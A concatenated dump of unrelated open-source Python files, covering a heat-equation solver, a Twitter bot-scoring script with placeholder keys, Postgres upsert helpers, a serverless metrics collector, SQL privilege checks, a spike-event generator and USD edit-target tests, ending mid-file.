self.sol[boundary] = fd(x, y)\n\n self.rhs -= self.A_hat[:, boundary] @ self.sol[boundary]\n\n def set_neumann(self, e, fn, raw=False):\n if hasattr(e, '__iter__'):\n boundary = e\n else:\n boundary = self.geometry.boundary_dofs(e)\n\n if raw:\n self.rhs[boundary] += self.dt * fn\n\n else:\n x, y = self.geometry.coords(boundary)\n M = self.Mbx if e in (0, 2) else self.Mby\n self.rhs += self.dt * self.lamda * M[:, boundary] @ fn(x, y)\n\n def do_euler_step(self):\n active_dofs = list(set(self.geometry.dofs) - self.boundary_set)\n\n rhs = self.rhs + self.alpha * (self.M @ self.u_old)\n\n self.sol[active_dofs] = spsolve(self.A_hat[active_dofs, :][:, active_dofs], rhs[active_dofs])\n return self.sol\n \n def heat_flux_at_nodes(self, i):\n return self.A_hat[i] @ self.sol - self.alpha * self.M[i] @ self.u_old\n\n def update_u_old(self):\n self.u_old = self.sol.copy()\n","repo_name":"jokasimr/coupled-problems","sub_path":"solver/laplace.py","file_name":"laplace.py","file_ext":"py","file_size_in_byte":6805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30302821140","text":"import pandas as pd\nimport numpy as np\nimport tqdm as tqdm\nimport botometer\nimport pickle\n\nstart = 0\nend = 100\n\nprint(\"Starting at: \" + str(start))\nprint(\"Ending at: \" + str(end))\nprint(\"Total: \" + str(end - start))\n\nunique_users = pd.read_csv(r\"D:\\users\\users.csv\")\nunique_users = unique_users['0']\n\nrapidapi_key = \"RAPIDAPI_KEY\"\ntwitter_app_auth = {\n 'consumer_key': 'CONSUMER_KEY',\n 'consumer_secret': 'CONSUMER_SECRET'\n }\napi_url = 'https://botometer-pro.p.mashape.com'\nbom = botometer.Botometer(botometer_api_url=api_url,wait_on_ratelimit=True,\n rapidapi_key=rapidapi_key,\n **twitter_app_auth)\n\naccount_scores = {}\n\nfor screenname, result in tqdm.tqdm(bom.check_accounts_in(unique_users[start:end])):\n if 'error' in result:\n account_scores[screenname] = None\n else:\n account_scores[screenname] = result\n\nwith open('account_scores_' + str(start) + '_' + str(end) + '.pickle', 'wb') as file:\n pickle.dump(account_scores, file)","repo_name":"JonAllem/NicotineTwitter","sub_path":"Data/bot_script_aneesh.py","file_name":"bot_script_aneesh.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"875146506","text":"from typing import Callable, List\nfrom postgres_helpers.execute_sql import execute_sql, DBContext\n\nimport polars\nimport pandas as pd\nimport ramda as R\nfrom pandas import DataFrame\nfrom psycopg2 import sql\nfrom returns.pipeline import pipe\n\n\nfrom postgres_helpers import (\n execute_values,\n camel_case_to_snake_case,\n create_db_context,\n teardown_db_context,\n)\n\n\n@R.curry\ndef connect_to_db_and_insert_pandas_dataframe(\n schema: str, table: str, data: pd.DataFrame\n):\n return _connect_to_db_and_execute(\n _build_insert_query(schema, table), _get_tuples_from_pd_dataframe, data\n )\n\n\n@R.curry\ndef connect_to_db_and_truncate_insert_pandas_dataframe(\n schema: str, table: str, data: pd.DataFrame\n):\n _connect_to_db_and_execute_statement(\n sql.SQL(\"TRUNCATE TABLE {schema}.{table};\").format(\n schema=sql.Identifier(schema), table=sql.Identifier(table)\n )\n )\n return _connect_to_db_and_execute(\n _build_insert_query(schema, table), _get_tuples_from_pd_dataframe, data\n )\n\n\n@R.curry\ndef connect_to_db_and_insert_polars_dataframe(\n schema: str, table: str, data: polars.DataFrame\n):\n return _connect_to_db_and_execute(\n _build_insert_query(schema, table), _get_tuples_from_polars_dataframe, data\n )\n\n\n@R.curry\ndef connect_to_db_and_upsert_pandas_dataframe(\n schema: str, table: str, constraint_columns: List[str], data: pd.DataFrame\n):\n return _connect_to_db_and_execute(\n _build_upsert_query(\n \"INSERT INTO {}.{} ({}) VALUES %s ON CONFLICT ({}) DO UPDATE SET {};\",\n schema,\n table,\n constraint_columns,\n ),\n _get_tuples_from_pd_dataframe,\n data,\n )\n\n\n@R.curry\ndef connect_to_db_and_upsert_pandas_dataframe_on_constraint(\n schema: str, table: str, constraints: List[str], data: pd.DataFrame\n):\n return _connect_to_db_and_execute(\n build_upser_query_with_constraints(schema, table, constraints),\n _get_tuples_from_pd_dataframe,\n data,\n )\n\n\n@R.curry\ndef upsert_pandas_dataframe_to_table_in_schema_with_db_context(\n db_context: DBContext,\n schema: str,\n table: str,\n constraints: List[str],\n data: pd.DataFrame,\n) -> None:\n R.converge(\n execute_values,\n [\n R.always(db_context),\n build_upser_query_with_constraints(schema, table, constraints),\n _get_tuples_from_pd_dataframe,\n ],\n )(data)\n\n\ndef build_upser_query_with_constraints(schema: str, table: str, constraints: List[str]):\n return _build_upsert_query(\n \"INSERT INTO {}.{} ({}) VALUES %s ON CONFLICT ON CONSTRAINT {} DO UPDATE SET {};\",\n schema,\n table,\n constraints,\n )\n\n\n@R.curry\ndef connect_to_db_and_upsert_polars_dataframe(\n schema: str, table: str, constraint: list, data: polars.DataFrame\n):\n return _connect_to_db_and_execute(\n _build_upsert_query(\n \"INSERT INTO {}.{} ({}) VALUES %s ON CONFLICT ({}) DO UPDATE SET {};\",\n schema,\n table,\n constraint,\n ),\n _get_tuples_from_polars_dataframe,\n data,\n )\n\n\n@R.curry\ndef _connect_to_db_and_execute(query_builder, tuple_getter, data: pd.DataFrame):\n return R.pipe(\n R.converge(\n execute_values,\n [lambda x: create_db_context(), query_builder, tuple_getter],\n ),\n teardown_db_context,\n )(data)\n\n\n_connect_to_db_and_execute_statement = R.pipe(\n R.converge(\n execute_sql,\n [lambda x: create_db_context(), R.identity],\n ),\n teardown_db_context,\n)\n\n\n@R.curry\ndef _build_insert_query(schema: str, table: str) -> Callable[[DataFrame], sql.SQL]:\n return pipe(\n _get_columns,\n R.converge(\n sql.SQL(\"INSERT INTO {}.{} ({}) VALUES %s ON CONFLICT DO NOTHING;\").format,\n [\n R.always(sql.Identifier(schema)),\n R.always(sql.Identifier(table)),\n _get_column_identifier_list,\n ],\n ),\n )\n\n\n@R.curry\ndef _build_upsert_query(\n query: str, schema: str, table: str, constraint: list\n) -> Callable[[DataFrame], sql.SQL]:\n return pipe(\n _get_columns,\n R.converge(\n sql.SQL(query).format,\n [\n R.always(sql.Identifier(schema)),\n R.always(sql.Identifier(table)),\n _get_column_identifier_list,\n R.always(_get_constraint_columns_list(constraint)),\n _upsert_column_action,\n ],\n ),\n )\n\n\n_get_columns = lambda df: R.map(camel_case_to_snake_case, df.columns)\n\n\n_upsert_column_action = lambda columns: sql.SQL(\", \").join(\n R.map(\n lambda column: sql.SQL(\"{} = EXCLUDED.{}\").format(\n sql.Identifier(column), sql.Identifier(column)\n ),\n columns,\n ),\n)\n\n\n_get_column_identifier_list = lambda columns: sql.SQL(\",\").join(\n sql.Identifier(name) for name in columns\n)\n\n\ndef _get_constraint_columns_list(constraint: list):\n return sql.SQL(\",\").join(sql.Identifier(name) for name in constraint)\n\n\n_get_tuples_from_pd_dataframe = lambda df: [tuple(x) for x in df.to_numpy()]\n\n\n_get_tuples_from_polars_dataframe = lambda df: df.rows()\n","repo_name":"rocs-org/data-pipelines","sub_path":"services/airflow/src/lib/dag_helpers/write_dataframe_to_postgres.py","file_name":"write_dataframe_to_postgres.py","file_ext":"py","file_size_in_byte":5236,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"16863032384","text":"#!/usr/bin/env python\nimport yaml\nimport sys, getopt\nfrom typing import List\nimport traceback\nimport asyncio\n\nfrom Clusters import BaseCollector\nfrom Clusters import GCFCollector\nfrom Clusters import OpenWhiskCollector\nfrom Clusters import AWSCollector\nfrom datetime import datetime\nfrom InfluxDBWriter import InfluxDBWriter\n\nfunctions_meta = []\nlogs_file = \"Logs/log.log\"\n\n\nasync def collect_from_clusters(configfile: str, provider: str, influx_db_writer_obj: InfluxDBWriter,\n cluster_collector_obj: BaseCollector = None,\n providers_list: list = None, all_clusters: bool = False):\n with open(configfile, 'r') as stream:\n try:\n data = yaml.safe_load(stream)\n if all_clusters:\n for cluster in data['providers'][provider]:\n curr_cluster = data['providers'][provider][cluster]\n dt = datetime.now()\n seconds = int(dt.strftime('%s'))\n\n if \"monitoring\" in data['providers'][provider][cluster]:\n cluster_collector_obj.init(data['providers'][provider][cluster][\"monitoring\"]['openwhisk'],\n data['providers'][provider][cluster][\"monitoring\"]['kubernetes']\n )\n df = await cluster_collector_obj.collect(curr_cluster, cluster, seconds - 1*60, seconds)\n print(df)\n influx_db_writer_obj.write_dataframe_influxdb(df)\n\n else:\n for cluster_name in providers_list:\n for cluster in data['providers'][provider]:\n curr_cluster = data['providers'][provider][cluster]\n if cluster_name == cluster:\n dt = datetime.now()\n seconds = int(dt.strftime('%s'))\n if \"monitoring\" in data['providers'][provider][cluster]:\n cluster_collector_obj.init(\n data['providers'][provider][cluster][\"monitoring\"]['openwhisk'],\n data['providers'][provider][cluster][\"monitoring\"]['kubernetes']\n )\n df = await cluster_collector_obj.collect(curr_cluster, cluster_name, seconds - 1*60, seconds)\n influx_db_writer_obj.write_dataframe_influxdb(df)\n break\n except yaml.YAMLError as exc:\n print(exc)\n\n\nasync def main(argv):\n google_data_collector = GCFCollector()\n\n ow_data_collector = OpenWhiskCollector()\n\n aws_data_collector = AWSCollector()\n\n influx_db_writer_obj = InfluxDBWriter(\"config.yaml\")\n tasks: List[asyncio.Task] = []\n\n tasks.append(\n asyncio.create_task(\n collect_from_clusters(\"config.yaml\", 'google', influx_db_writer_obj, google_data_collector, [], True)\n )\n )\n tasks.append(\n asyncio.create_task(\n collect_from_clusters(\"config.yaml\", 'openwhisk', influx_db_writer_obj, ow_data_collector, [], True)\n )\n )\n tasks.append(\n asyncio.create_task(\n collect_from_clusters(\"config.yaml\", 'aws', influx_db_writer_obj, aws_data_collector, [], True)\n )\n )\n # wait for all workers\n if len(tasks):\n try:\n await asyncio.wait(tasks)\n except Exception as e:\n print(\"Exception in main worker loop\")\n print(e)\n traceback.print_exc()\n\n print(\"All deployment/removal finished\")\n\nif __name__ == \"__main__\":\n asyncio.run(main(sys.argv[1:]))\n","repo_name":"ansjin/multi-cloud-serverless-deployment","sub_path":"DataCollector.py","file_name":"DataCollector.py","file_ext":"py","file_size_in_byte":3739,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"9903324343","text":"import simql.query_handler\n\n\ndef check_strong_read_on_columns(table, columns, privileges):\n columns = columns[:]\n column_restrictions = {}\n for priv in privileges:\n priv_table = priv[0].split('.')[0]\n priv_column = priv[0].split('.')[1]\n priv_scope = priv[1]\n priv_selects = priv[2]\n if priv_table == table.__name__ and priv_column in columns and priv_scope == 'R':\n if priv_column not in column_restrictions:\n column_restrictions[priv_column] = False\n if priv_selects != ():\n column_restrictions[priv_column] = True\n for column in columns:\n if column in column_restrictions and column_restrictions[column]:\n return False\n return True\n\n\ndef check_read_on_columns(table, columns, privileges):\n columns = columns[:]\n #import sys\n #print >>sys.stderr, columns\n for priv in privileges:\n priv_table = priv[0].split('.')[0]\n priv_column = priv[0].split('.')[1]\n priv_scope = priv[1]\n priv_selects = priv[2]\n #print >>sys.stderr, priv_table, priv_column, priv_scope, str(table.__name__)\n if priv_table == table.__name__ and priv_column in columns and priv_scope == 'R':\n columns.remove(priv_column)\n\n #print >>sys.stderr, columns\n return len(columns) == 0\n\n\ndef append_weak_read_filter_by_conditions(table, columns, privileges, filter_by):\n for priv in privileges:\n priv_table = priv[0].split('.')[0]\n priv_column = priv[0].split('.')[1]\n priv_scope = priv[1]\n priv_selects = priv[2]\n if priv_table == table.__name__ and priv_column in columns and priv_scope == 'R' and priv_selects != ():\n filter_by &= simql.query_handler.compile_filter_by(table, priv_selects)\n # print >>sys.stderr, filter_by\n return filter_by\n\n","repo_name":"ammubhave/sdbserver","sub_path":"sdbserver/auth/privilege_validators.py","file_name":"privilege_validators.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12359297030","text":"from aergen.core.direction import EntityDirection\nfrom aergen.core.texture import EntityTexture\nfrom aergen.core.path import EntityDirectionItemPath\nfrom aergen.core.path import EntityPath\n\nfrom enum import Enum\nfrom matplotlib import cm\n\nimport math\nimport sys\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport copy as cpy\nimport bisect as bs\n\n################ Procedure ###################\ndef get_elms_withtimes(times, data, start=None, end=None, retrange=False):\n begin = 0 if start == None else bs.bisect_left(times, start)\n finish = len(times) if end == None else bs.bisect_right(times, end)\n\n if retrange:\n return begin, finish\n return times[begin:finish], data[begin:finish]\n\ndef get_labels_withtimes(labels, start=None, end=None, retrange=False):\n begin = finish = 0\n tm = labels[0].time * 1000\n\n for l in labels:\n if tm < start:\n begin += 1\n if tm < end:\n finish += 1\n tm += l.time * 1000 # Milisecond\n\n if begin == finish: finish += 1\n\n if retrange:\n return begin, finish\n return labels[begin:finish]\n\n\ndef get_spikesrange_withlabels(labels, times, start, end):\n spks_labels = []\n ms = 1000\n tj, j = start, 0\n\n nlabels = len(labels)\n for l in labels:\n if l.direction != EntityDirection.JUMP:\n break\n tj = round(tj + round(l.time*ms, 5), 5)\n j += 1\n spks_labels.append(None)\n\n if j >= nlabels:\n return spks_labels\n\n # import ipdb; ipdb.set_trace()\n i = a = b = start # [a, b[\n tj = round(tj + round(labels[j].time*ms, 5), 5)\n for i in range(start, end):\n lj = labels[j]\n if lj.direction == EntityDirection.JUMP:\n j += 1\n tj = round(tj + round(labels[j].time*ms, 5), 5)\n spks_labels.append(None)\n continue\n\n ti = times[i]\n b = i\n if ti > tj:\n spks_labels.append((a, b))\n j += 1\n tj = round(tj + round(labels[j].time*ms, 5), 5)\n a = b = i\n\n spks_labels.append((a, b+1))\n\n for jj in range(j+1, nlabels): spks_labels.append(None)\n\n return spks_labels\n\nclass EntityInput(object):\n @staticmethod\n def empty(dim=(0, 0)):\n return EntityInput(EntityTexture(0, 0), EntityPath(path=[]), dim, 0, 0, builded=False)\n\n @staticmethod\n def cpy_params(inp):\n dim = (inp.width, inp.height)\n return EntityInput(inp.texture, inp.path, dim, inp.sample, inp.vel,\n is_tor=inp.is_tor, outside=inp.outside,\n length=inp.length, builded=False)\n\n @staticmethod\n def fromfactoryfile(factoryfile, paramsfile):\n return None\n\n @staticmethod\n def frominfile(infile):\n ent = EntityInput.empty()\n ent.load(infile)\n return ent\n\n @staticmethod\n def fromfile(file):\n if file.endswith('in'):\n return EntityInput.frominfile(file)\n return EntityInput.frompyfile(file)\n\n @staticmethod\n def fromstr(s):\n ent = EntityInput.empty()\n ent.parse(s)\n return ent\n\n def __init__(self, texture, path, dim, sample, vel, length=None,\n is_tor=False, outside=False, builded=True):\n self.texture = texture\n self.vel = vel\n\n self.sample = sample\n self.width = dim[0]\n self.height = dim[1]\n\n self.is_tor = is_tor\n self.outside = outside\n\n if not isinstance(path, EntityPath):\n path = EntityPath(path=path, env=self)\n\n self.__path = path\n\n self.indices = []\n self.times = []\n # self.pathrange = []\n\n self.length = length\n\n self.shape_id = texture.shape_id\n\n texture.env = self\n\n if builded:\n self.build()\n return\n\n @property\n def length(self):\n return self.__length\n\n @length.setter\n def length(self, length):\n if length is None:\n length = self.path.length\n self.__length = round(length, 6)\n\n\n @property\n def path(self):\n return self.__path\n\n @path.setter\n def path(self, path):\n self.__path = path\n self.length = None\n\n\n def __str__(self):\n n = len(self.indices)\n\n sep = ' '\n s = str(self.vel) + sep + str(self.sample) + sep \\\n + str(self.width) + sep + str(self.height) + sep + str(self.length) + sep \\\n + str(int(self.is_tor)) + sep + str(int(self.outside)) + '\\n' \\\n + str(self.texture) + '#\\n' \\\n + str(self.path) + str(n) + '\\n'\n\n for i in range(n):\n s += str(self.indices[i]) + ' ' + str(self.times[i]) + '\\n'\n\n\n return s\n\n\n def parse(self, s):\n lines = s.split('\\n')\n\n v, s, w, h, l, is_t, o = list(map(eval, lines[0].split(' ')))\n\n self.vel = v; self.sample = s\n self.width = w; self.height = h\n self.length = l\n self.is_tor = bool(is_t); self.outside = bool(o)\n\n ent_str = ''\n i = 1\n while lines[i] != '#':\n ent_str += lines[i] + '\\n'\n i += 1\n\n self.texture = EntityTexture.fromstr(ent_str); i += 1\n self.texture.env = self\n # Path parsing\n npath = self.path.parse_header(lines[i]); i += 1\n self.path.parse(lines, start=i, npath=npath, parse_header=False); i += npath\n # Body parsing\n n = int(lines[i]); i += 1\n for j in range(i, i+n):\n idx, t = lines[j].split(' ')\n self.indices.append(int(idx))\n self.times.append(float(t))\n\n return\n\n\n def load(self, filename):\n with open(filename, 'r') as file:\n s = file.read()\n self.parse(s)\n\n def save(self, file=sys.stdout):\n if type(file) is str:\n with open(file, 'w') as f:\n f.write(str(self))\n else:\n file.write(str(self))\n\n def find_direction(self, time):\n ts = 0\n for i in range(len(self.path)):\n ts += self.path[i][1]\n if ts >= time:\n return i\n return -1\n\n\n def put_spike(self, x, y, ts):\n \"\"\"\n Ajoute un spike, màj les listes self.indices et self.times\n\n :param x: Adresse spatial en x, (0 >= x < self.width)\n :param y: Adresse spatial en y, (0 >= y < self.height)\n :param ts: Timestamp du spike (en ms)\n :return: None\n \"\"\"\n idx = y*self.height + x\n self.indices.append(idx)\n self.times.append(ts)\n\n\n def put(self, texture, pos, time):\n def put_elm(elm, is_texture=False):\n if self.is_tor:\n elm[0] = elm[0] % self.width # x\n elm[1] = elm[1] % self.height # y\n\n elif elm[0] >= self.width or elm[0] < 0 or \\\n elm[1] >= self.height or elm[1] < 0:\n return False\n\n if not is_texture:\n self.put_spike(elm[0], elm[1], time)\n return True\n pos_e = np.copy(pos)\n status = put_elm(pos_e, is_texture=True)\n if status or self.outside:\n texture.position = pos_e\n\n status = True\n for yi in range(len(texture.shape)):\n for xi in range(len(texture.shape[yi])):\n if texture.shape[yi][xi]:\n pixel = pos + np.array([xi, yi])\n status = status and put_elm(pixel)\n\n return status\n\n\n # TODO : Prise en compte des vitesses et acc dans le path\n def build(self):\n self.indices = []\n self.times = []\n\n\n mvf = self.vel / self.sample\n mvi = math.floor(mvf)\n epsilon = mvf - mvi\n acc = 0\n ts = 0 # Microseconds\n delta = round(1/self.sample * 1000, 5)\n\n for ei in self.path:\n n = int(ei.time * self.sample)\n\n if ei.direction == EntityDirection.JUMP:\n # if isinstance(attr, tuple):\n # pos, time = attr\n # self.put(self.texture, pos, time)\n ts = round(ts + n, 5)\n\n if ei.pos is not None:\n self.put(self.texture, ei.pos, ts)\n \n continue\n\n for _ in range(n):\n mvt = mvi\n if acc > 1:\n acc -= math.floor(acc)\n mvt += 1\n\n self.texture.move(ei.direction, mvt, ts)\n\n ts = round(ts + delta, 5)\n acc += epsilon # MOUAIS\n return\n\n def merge(self, ent_input, timesep=0, orig=None):\n if self.times:\n orig = self.times[-1] if orig is None else orig\n else:\n orig = 0 if orig is None else orig\n\n timesep += orig\n\n for i in range(len(ent_input.indices)):\n self.indices.append(ent_input.indices[i])\n self.times.append(ent_input.times[i] + timesep)\n\n self.path.extend(ent_input.path)\n\n self.length += ent_input.length\n return\n\n def concat(self, ent_input, timesep=0, orig=None):\n res = cpy.deepcopy(self)\n res.merge(ent_input, timesep, orig)\n return res\n\n def cut(self, start=None, end=None):\n if start is None and end is None:\n return\n\n self.times, self.indices = get_elms_withtimes(self.times, self.indices, start, end)\n\n self.path = get_labels_withtimes(self.path, start, end)\n return\n\n def run_animation(self, **kwargs):\n import aergen.core.viewer as vw\n kwargs['sequence'] = self\n viewer = vw.SequenceViewer(**kwargs)\n viewer.run()\n return","repo_name":"zeroCrowsky/AER-Generator","sub_path":"aergen/core/input.py","file_name":"input.py","file_ext":"py","file_size_in_byte":9741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34667607074","text":"import os, sys, unittest\nfrom pxr import Gf, Tf, Sdf, Pcp, Usd\n\nclass TestUsdEditTarget(unittest.TestCase):\n def test_PathTranslationAndValueResolution(self):\n layerFile = 'test.usda'\n\n layer = Sdf.Layer.FindOrOpen(layerFile)\n assert layer, 'failed to find \"test.usda'\n stage = Usd.Stage.Open(layerFile)\n assert stage, 'failed to create stage for %s' % layerFile\n\n prim = stage.GetPrimAtPath('/Sarah')\n assert prim, 'failed to find prim /Sarah'\n\n primIndex = prim.GetPrimIndex()\n\n Sarah_node = primIndex.rootNode\n class_Sarah_node = Sarah_node.children[0]\n Sarah_displayColor_red_node = Sarah_node.children[1]\n Sarah_standin_anim_node = Sarah_node.children[2]\n Sarah_standin_anim_lod_full_node = Sarah_standin_anim_node.children[0]\n Sarah_Defaults_node = Sarah_node.children[3]\n Sarah_Base_node = Sarah_Defaults_node.children[0]\n Sarah_Base_displayColor_red_node = Sarah_Base_node.children[0]\n\n def MakeEditTarget(node):\n return Usd.EditTarget(stage.GetRootLayer(), node)\n\n Sarah = MakeEditTarget(Sarah_node)\n class_Sarah = MakeEditTarget(class_Sarah_node)\n Sarah_displayColor_red = MakeEditTarget(Sarah_displayColor_red_node)\n Sarah_standin_anim_lod_full = MakeEditTarget(\n Sarah_standin_anim_lod_full_node)\n Sarah_Defaults = MakeEditTarget(Sarah_Defaults_node)\n Sarah_Base = MakeEditTarget(Sarah_Base_node)\n Sarah_Base_displayColor_red = MakeEditTarget(\n Sarah_Base_displayColor_red_node)\n\n # Test path translation across reference, inherit, and variant.\n def CheckPath(target, scenePath, specPath):\n result = target.MapToSpecPath(scenePath)\n if result != specPath:\n raise AssertionError('%s -> %s, expected %s -> %s' % (\n scenePath, result, scenePath, specPath))\n\n CheckPath(Sarah, '/Sarah', '/Sarah')\n CheckPath(Sarah, '/Sarah/child', '/Sarah/child')\n CheckPath(Sarah, '/Sarah.x[/Sarah.y]', '/Sarah.x[/Sarah.y]')\n\n CheckPath(class_Sarah, '/Sarah', '/_class_Sarah')\n CheckPath(class_Sarah, '/Sarah/child', '/_class_Sarah/child')\n CheckPath(class_Sarah,\n '/Sarah.x[/Sarah.y]', '/_class_Sarah.x[/_class_Sarah.y]')\n\n CheckPath(Sarah_displayColor_red,\n '/Sarah', '/Sarah{displayColor=red}')\n CheckPath(Sarah_displayColor_red,\n '/Sarah/child', '/Sarah{displayColor=red}child')\n CheckPath(Sarah_displayColor_red,\n '/Sarah.x[/Sarah.y]', '/Sarah{displayColor=red}.x[/Sarah.y]')\n\n CheckPath(Sarah_standin_anim_lod_full,\n '/Sarah', '/Sarah{standin=render}{lod=full}')\n CheckPath(Sarah_standin_anim_lod_full,\n '/Sarah/child', '/Sarah{standin=render}{lod=full}child')\n CheckPath(Sarah_standin_anim_lod_full,\n '/Sarah.x[/Sarah.y]', '/Sarah{standin=render}{lod=full}.x[/Sarah.y]')\n\n CheckPath(Sarah_Defaults, '/Sarah', '/Sarah_Defaults')\n CheckPath(Sarah_Defaults, '/Sarah/child', '/Sarah_Defaults/child')\n CheckPath(Sarah_Defaults,\n '/Sarah.x[/Sarah.y]', '/Sarah_Defaults.x[/Sarah_Defaults.y]')\n\n CheckPath(Sarah_Base, '/Sarah', '/Sarah_Base')\n CheckPath(Sarah_Base, '/Sarah/child', '/Sarah_Base/child')\n CheckPath(Sarah_Base, '/Sarah.x[/Sarah.y]', '/Sarah_Base.x[/Sarah_Base.y]')\n\n CheckPath(Sarah_Base_displayColor_red,\n '/Sarah', '/Sarah_Base{displayColor=red}')\n CheckPath(Sarah_Base_displayColor_red,\n '/Sarah/child', '/Sarah_Base{displayColor=red}child')\n CheckPath(Sarah_Base_displayColor_red,\n '/Sarah.x[/Sarah.y]',\n '/Sarah_Base{displayColor=red}.x[/Sarah_Base.y]')\n\n ########################################################################\n return\n ########################################################################\n # XXX ! The following portion of this test is disabled since Usd has no API\n # for composing up to some point. This should be reenabled when that's\n # available.\n\n # Test value resolution across reference, inherit, and variant.\n def CheckValue(obj, key, target, expected):\n result = obj.ComposeInfo(\n key, defVal=None, editTarget=target,\n excerptType=Csd.ExcerptTypeAll, composeInfo=None)\n if not Gf.IsClose(result, expected, 1e-4):\n raise AssertionError(\"Got '%s' resolving '%s' on '%s', expected \"\n \"'%s'\" % (result, key, obj.path, expected))\n\n displayColor = scene.GetObjectAtPath('/Sarah.displayColor')\n\n CheckValue(displayColor, 'default', Sarah,\n Gf.Vec3d(0.1, 0.2, 0.3))\n CheckValue(displayColor, 'default', class_Sarah,\n Gf.Vec3d(1, 1, 1))\n CheckValue(displayColor, 'default', Sarah_displayColor_red,\n Gf.Vec3d(1, 0, 0))\n CheckValue(displayColor, 'default', Sarah_Defaults,\n Gf.Vec3d(0, 0, 1))\n CheckValue(displayColor, 'default', Sarah_Base,\n Gf.Vec3d(0.8, 0, 0))\n CheckValue(displayColor, 'default', Sarah_Base_displayColor_red,\n Gf.Vec3d(0.8, 0, 0))\n ########################################################################\n\n\n def test_StageEditTargetAPI(self):\n def OpenLayer(name):\n fullName = '%s.usda' % name\n layer = Sdf.Layer.FindOrOpen(fullName)\n assert layer, 'failed to open layer @%s@' % fullName\n return layer\n\n # Open stage.\n layer = OpenLayer('testAPI_root')\n stage = Usd.Stage.Open(layer.identifier)\n assert stage, 'failed to create stage for @%s@' % layer.identifier\n\n # Check GetLayerStack behavior.\n assert stage.GetLayerStack()[0] == stage.GetSessionLayer()\n\n # Get LayerStack without session layer.\n rootLayer, subLayer1, subLayer2 = \\\n stage.GetLayerStack(includeSessionLayers=False)\n assert subLayer1 and subLayer2, ('expected @%s@ to have 2 sublayers' %\n layer.identifier)\n assert rootLayer == stage.GetRootLayer()\n\n # Get Sarah prim.\n prim = stage.GetPrimAtPath('/Sarah')\n assert prim, 'failed to find prim /Sarah'\n\n # Sanity check simple composition.\n assert prim.GetAttribute('color').Get() == Gf.Vec3d(1,1,1)\n assert prim.GetAttribute('sub1Color').Get() == Gf.Vec3d(1,1,1)\n assert prim.GetAttribute('sub2Color').Get() == Gf.Vec3d(1,1,1)\n\n # Should start out with EditTarget being local & root layer.\n assert (stage.HasLocalLayer(stage.GetEditTarget().GetLayer()) and\n stage.GetEditTarget().GetLayer() == stage.GetRootLayer())\n\n # Set EditTarget to sublayers.\n stage.SetEditTarget(subLayer1)\n assert stage.GetEditTarget() == subLayer1, 'failed to set EditTarget'\n\n stage.SetEditTarget(subLayer2)\n assert stage.GetEditTarget() == subLayer2, 'failed to set EditTarget'\n\n stage.SetEditTarget(stage.GetRootLayer())\n assert stage.GetEditTarget() == stage.GetRootLayer(), \\\n 'failed to set EditTarget'\n\n # Try authoring to sublayers using context object.\n with Usd.EditContext(stage, subLayer2):\n prim.GetAttribute('sub2Color').Set(Gf.Vec3d(3,4,5))\n assert prim.GetAttribute('sub2Color').Get() == Gf.Vec3d(3,4,5)\n assert not rootLayer.GetAttributeAtPath('/Sarah.sub2Color')\n assert (subLayer2.GetAttributeAtPath('/Sarah.sub2Color').default ==\n Gf.Vec3d(3,4,5))\n\n # Target should be back to root layer.\n assert stage.GetEditTarget() == stage.GetRootLayer(), \\\n 'EditContext failed to restore EditTarget'\n\n # Set to subLayer1.\n stage.SetEditTarget(subLayer1)\n\n # Try authoring to session layer using context object.\n sessionLayer = stage.GetSessionLayer()\n with Usd.EditContext(stage, sessionLayer):\n assert stage.GetEditTarget() == sessionLayer\n assert not sessionLayer.GetAttributeAtPath('/Sarah.color')\n prim.GetAttribute('color').Set(Gf.Vec3d(9,9,9))\n assert prim.GetAttribute('color').Get() == Gf.Vec3d(9,9,9)\n assert (sessionLayer.GetAttributeAtPath('/Sarah.color').default ==\n Gf.Vec3d(9,9,9))\n assert (rootLayer.GetAttributeAtPath('/Sarah.color').default ==\n Gf.Vec3d(1,1,1))\n\n # Target should be back to subLayer1.\n assert stage.GetEditTarget() == subLayer1, \\\n 'EditContext failed to restore EditTarget'\n\n # Verify an error is reported for setting EditTarget as a local layer\n # that's not in the local LayerStack.\n anon = Sdf.Layer.CreateAnonymous()\n assert anon\n with self.assertRaises(RuntimeError):\n stage.SetEditTarget(anon)\n\n\n def test_StageEditTargetSessionSublayer(self):\n usdFile = 'testSessionSublayerEditTarget.usda'\n\n stage = Usd.Stage.Open(usdFile)\n assert stage, 'failed to create stage for @%s@' % usdFile\n\n sessionLayer = stage.GetSessionLayer()\n assert len(sessionLayer.subLayerPaths) == 0\n\n # Create a new anonymous layer and make it a sublayer of the sessionLayer.\n sessionSublayer = Sdf.Layer.CreateAnonymous()\n sessionLayer.subLayerPaths.append(sessionSublayer.identifier)\n assert len(sessionLayer.subLayerPaths) == 1\n\n def _CreateAndTestPrimAttribute(stage, primPath, attrName):\n prim = stage.GetPrimAtPath(primPath)\n attr = prim.CreateAttribute(attrName, Sdf.ValueTypeNames.String)\n assert attr\n attr.Set('foo')\n assert attr.Get() == 'foo'\n\n # Test creating attributes with the sessionSublayer as the edit target.\n with Usd.EditContext(stage, sessionSublayer):\n assert stage.GetEditTarget() == sessionSublayer\n\n primPath = '/LocalModel/MyPrim'\n attrName = 'LocalModelSessionSublayerStringAttr'\n _CreateAndTestPrimAttribute(stage, primPath, attrName)\n\n primPath = '/ReferencedModel/MyPrim'\n attrName = 'ReferencedModelSessionSublayerStringAttr'\n _CreateAndTestPrimAttribute(stage, primPath, attrName)\n\n def test_StageEditTargetInstancing2(self):\n rootLayer = Sdf.Layer.CreateAnonymous(\".usda\")\n rootLayer.ImportFromString('''\\\n #usda 1.0\n\n def \"Class\"\n {\n }\n\n def \"A\" (\n inherits = \n instanceable = True\n )\n {\n }\n ''')\n\n stage = Usd.Stage.Open(rootLayer)\n\n # Set up an edit target that points across the inherit arc\n # between /A and /Class. We expect that any edits\n # to /Model or descendants will be mapped to 